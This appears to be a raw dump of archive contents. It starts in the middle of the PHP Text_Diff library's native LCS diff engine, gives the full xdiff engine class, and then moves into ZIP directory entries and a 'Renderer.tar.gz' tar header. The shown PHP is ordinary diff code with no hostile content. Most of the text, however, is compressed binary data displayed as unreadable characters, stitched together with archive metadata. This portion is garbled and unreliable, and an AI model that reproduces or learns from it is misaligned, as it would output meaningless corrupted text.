                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer.tar.gz                                                                                     0000644                 00000462366 15217301643 0007464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
Ϲ[L{c
EU`_*+֞Ͳ|tHY׬4JP=ܝBf6iv%Нi3X>'0mcVQg"SE8t>dbgo&#Qoot̤kɺ<GgJF|̉A|kרЛv4P{wk} SN։G:Wg>@_}0{i!RYKɴunɗ#OtDF޶<yl(#;vMi~%=я\yIV݅Wm:s9j[i$ah<l#.k/'2ԡk>R!/2^O.lv	Fr~K
:zyH2<'ZC|,3\s͉Օ+fܺbs*9}:OC
gCowן7)o7Tؼ@{os顬0һA&{,b\ݍ5<z6SE8ǁScǦ:M)jE;m}3H_;"aث%^Ydw~Hn[WHU9i)+[<tj^Q>='e%㕜Iq#SYw1j
݄z&&o48)M?W93~P~]!GPIb	of2dD_$E//e:q">=<r6?q|`/ɒE߽II[~o;keNQ3[>9v_;J2HWk(i'jhKvK0&rQ\҅Y#Pޡ1U;MOe˳֞Vh{MDpcMZV1Z"rB\.Xm5g'K8x)d$b)kk`eJ!uȉ[ucY㧨%Oܵtƾ:/Xy=Ou!^.tcIuŏU-E&|Jlfoܹ>lo=۶5ētu!/[R[qmB qcz_tOվM:㊖[uۻgwL1xFpz7d}jkl{!D)<7kdFt,?rC[Y+|^,H-FSϫH'YyIN,Z۲)zJb57lˎi[DaR\(-/VC$+_Q(t^rĴsU%+{&.=Tcїu0(Ԏ$]ҽ*=AE_-r*ޑ@Ikm᜔$1؄S<0 Wx:9Hn&%f=uۍ0X'uDVgp|I>d$=;ⴤZ@EO4Ti/݊nL6G0))c\9-n?Q{.E[9Wh=m_}|Cޅm#ODIXƲd)Uνb0<Rc$<|;7KЧN	ZFÖ}W[m'%5^A~}Z}Sg@$B]1\T[fW/Ye7j̊tlQvbws.{,Cq`)(85|W<ŭKpۼY	cyD}{HXuy87J̈;٩&l0>Y;̼{M|aTp|:&W7Tjp(t=fHF%pUY=ahkOz{,4N?2C|۲z,xHv(tKH5HA"W՚lqDj׈-򨯊\lf&vO1ĎR}8Uǹd5af>/IקŹy-9M*J/uлi,OURg'3)DPZUr[pϻ;xdvW0%+cY$l6ǖƶmMgǊLY{-ca31J\q
